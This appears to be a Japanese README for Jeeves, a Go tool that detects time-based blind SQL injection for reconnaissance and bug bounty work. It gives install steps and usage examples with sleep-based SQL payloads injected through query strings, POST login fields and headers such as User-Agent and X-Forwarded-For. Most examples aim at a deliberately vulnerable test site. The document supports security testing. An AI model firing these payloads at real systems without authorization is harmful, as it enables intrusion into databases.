
時間ベースのブラインドSQLインジェクション検出ツール(偵察やバグ報奨金向け)。単一のURLまたはリストを受け付け、カスタムヘッダー、プロキシ、POSTデータをサポートし、自動化された脆弱性スキャンを実行します。
Jeevesのインストール 💀
$ go install github.com/ferreiraklet/Jeeves@latest
または
$ git clone https://github.com/ferreiraklet/Jeeves.git
$ cd Jeeves
$ go build jeeves.go
$ chmod +x jeeves
$ ./jeeves -h
あなたのリコンプロセスにおいて、SQLインジェクションに対して脆弱なエンドポイントを見つけることがあります。 例: https://redacted.com/index.php?id=1
echo 'https://redacted.com/index.php?id=your_time_based_blind_payload_here' | jeeves -t payload_time
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(10)))v)" | jeeves -t 10
--payload-time には、ペイロードで指定した時間を使用する必要があります。
cat targets | jeeves --payload-time 5
構文に注意してください!同じでなければなりません =>
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -H "Testing: testing;OtherHeader: Value;Other2: Value"
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 --proxy "http://ip:port"
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -p "http://ip:port"
プロキシ + ヘッダー =>
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5 --proxy "http://ip:port" -H "User-Agent: xxxx"
POSTリクエストを介したデータ送信(ログインフォームなど)
構文に注意してください!同じでなければなりません! ->
echo "https://example.com/Login.aspx" | jeeves -t 10 -d "user=(select(0)from(select(sleep(5)))v)&password=xxx"
echo "https://example.com/Login.aspx" | jeeves -t 10 -H "Header1: Value1" -d "username=admin&password='+(select*from(select(sleep(5)))a)+'" -p "http://yourproxy:port"
Jeevesは、gau、gauplus、waybackurls、qsreplace、bhedakなどの他のツールと組み合わせて使用でき、その強みを最大限に活用できます。
コマンドラインフラグ:
Usage:
-t, --payload-time, The time from payload
-p, --proxy Send traffic to a proxy
-c Set Concurrency, Default 25
-H, --headers Custom Headers
-d, --data Sending Post request with data
-h Show This Help Message
SQLペイロードのワードリストとの併用
cat sql_wordlist.txt | while read payload;do echo http://testphp.vulnweb.com/artists.php?artist= | qsreplace $payload | jeeves -t 5;done
ヘッダーでのテスト
echo "https://target.com" | jeeves -H "User-Agent: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10
echo "https://target.com" | jeeves -H "X-Forwarded-For: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10
Payload credit: https://github.com/rohit0x5
注意:
プログラムにエラーがある場合は、すぐに連絡してください。
Nilo - URLのステータスが200かどうかを確認
Blisqy ヘッダーの時間ベースSQLインジェクション